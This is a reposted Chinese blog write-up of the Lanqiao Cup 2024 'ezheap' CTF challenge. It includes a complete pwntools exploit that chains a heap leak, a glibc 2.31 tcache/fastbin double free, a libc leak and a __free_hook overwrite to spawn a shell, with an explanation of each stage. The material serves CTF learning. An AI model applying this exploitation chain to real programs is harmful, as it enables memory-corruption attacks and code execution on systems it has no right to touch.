当前位置:   article > 正文

[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

查看保护

查看ida

大致就是只能创建0x60大小的堆块,并且uaf只能利用一次

完整exp:

  1. from pwn import*
  2. #context(log_level='debug')
  3. p=process('./ezheap2.31')
  4. def alloc(content):
  5. p.sendlineafter(b'4.exit',b'1')
  6. p.send(content)
  7. def free(index):
  8. p.sendlineafter(b'4.exit',b'2')
  9. p.sendline(str(index))
  10. def show(index):
  11. p.sendlineafter(b'4.exit',b'3')
  12. p.sendline(str(index))
  13. def uaffree(index):
  14. p.sendlineafter(b'4.exit',b'2106373')
  15. p.sendline(str(index))
  16. for i in range(3):
  17. alloc(b'a')
  18. for i in range(2,0,-1):
  19. free(i)
  20. alloc(b'a')
  21. show(1)
  22. p.recvuntil(b'a')
  23. heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
  24. print(hex(heapbase))
  25. alloc(b'a')
  26. for i in range(10):
  27. alloc(b'a')
  28. for i in range(7,0,-1):
  29. free(i)
  30. uaffree(0)
  31. payload=b'\x00'*0x18+p64(0x61)
  32. alloc(payload)
  33. free(0)
  34. payload=p64(heapbase+0x290+0x10+0x10)
  35. alloc(payload)
  36. for i in range(7):
  37. payload=b'\x00'*0x18+p64(0x61)
  38. alloc(payload)
  39. payload=b'\x00'*0x38+p64(0x60*11+1)
  40. alloc(payload)
  41. free(1)
  42. alloc(b'a')
  43. show(1)
  44. onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  45. print(hex(onelibc))
  46. libc_start_main243=onelibc-0x61-0x1c8e7d
  47. libc_start_main=libc_start_main243-243
  48. libc=ELF('/home/pwn/libc.so.6')
  49. libcbase=libc_start_main-libc.sym['__libc_start_main']
  50. system=libcbase+libc.sym['system']
  51. freehook=libcbase+libc.sym['__free_hook']
  52. print(hex(system))
  53. free(10)
  54. free(1)
  55. free(14)
  56. payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
  57. alloc(payload)
  58. payload=b'/bin/sh\x00'
  59. alloc(payload)
  60. payload=p64(system)
  61. alloc(payload)
  62. free(10)
  63. p.interactive()

这里分为以下几个部分来讲

获取heap基地址:

  1. for i in range(3):
  2. alloc(b'a')
  3. for i in range(2,0,-1):
  4. free(i)
  5. alloc(b'a')
  6. show(1)
  7. p.recvuntil(b'a')
  8. heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300

在此版本中释放两个堆块后,在tcachebin中后一个堆块的fd会指向前一个堆块的fd,也就是存储前一个堆块的fd地址,而malloc不会清空内存,就可以泄露出heap地址了。

实现前提:

申请堆块不会清空内存

泄露libc地址:

  1. alloc(b'a')
  2. for i in range(10):
  3. alloc(b'a')
  4. for i in range(7,0,-1):
  5. free(i)
  6. uaffree(0)
  7. payload=b'\x00'*0x18+p64(0x61)
  8. alloc(payload)
  9. free(0)
  10. payload=p64(heapbase+0x290+0x10+0x10)
  11. alloc(payload)
  12. for i in range(7):
  13. payload=b'\x00'*0x18+p64(0x61)
  14. alloc(payload)
  15. payload=b'\x00'*0x38+p64(0x60*11+1)
  16. alloc(payload)
  17. free(1)
  18. alloc(b'a')
  19. show(1)
  20. onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  21. print(hex(onelibc))
  22. libc_start_main243=onelibc-0x61-0x1c8e7d
  23. libc_start_main=libc_start_main243-243
  24. libc=ELF('/home/pwn/libc.so.6')
  25. libcbase=libc_start_main-libc.sym['__libc_start_main']
  26. system=libcbase+libc.sym['system']
  27. freehook=libcbase+libc.sym['__free_hook']
  28. print(hex(system))

这里要运用uaf的原因是因为程序会通过检测堆数组里是否有所释放堆块的地址。这里用到了double free,这个版本下的tcachebin已经没有办法像glibc2.27那样直接free同一个堆块两次了,只能用将同一个堆块放入tcachebin和fastbin,因为2.31是通过检查堆块是否在tcachebin中来防范double free的,通过这种方法可以实现2.31下的double free。而用完double free之后在一个堆块的中间又创建一个堆块来方便修改下一个堆块的size和fd是因为我们要利用任意地址创建堆块两次。

题目要求:

地址在堆块数组中的堆块才能free

实现前提:

uaf漏洞

getshell:

  1. free(10)
  2. free(1)
  3. free(14)
  4. payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
  5. alloc(payload)
  6. payload=b'/bin/sh\x00'
  7. alloc(payload)
  8. payload=p64(system)
  9. alloc(payload)
  10. free(10)

操作前提:

有一个可以修改另一个堆块的fd的堆块

#补充点:题目的接收好像有点问题,exp多试几次才能出。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/552683
推荐阅读
相关标签
  

闽ICP备14008679号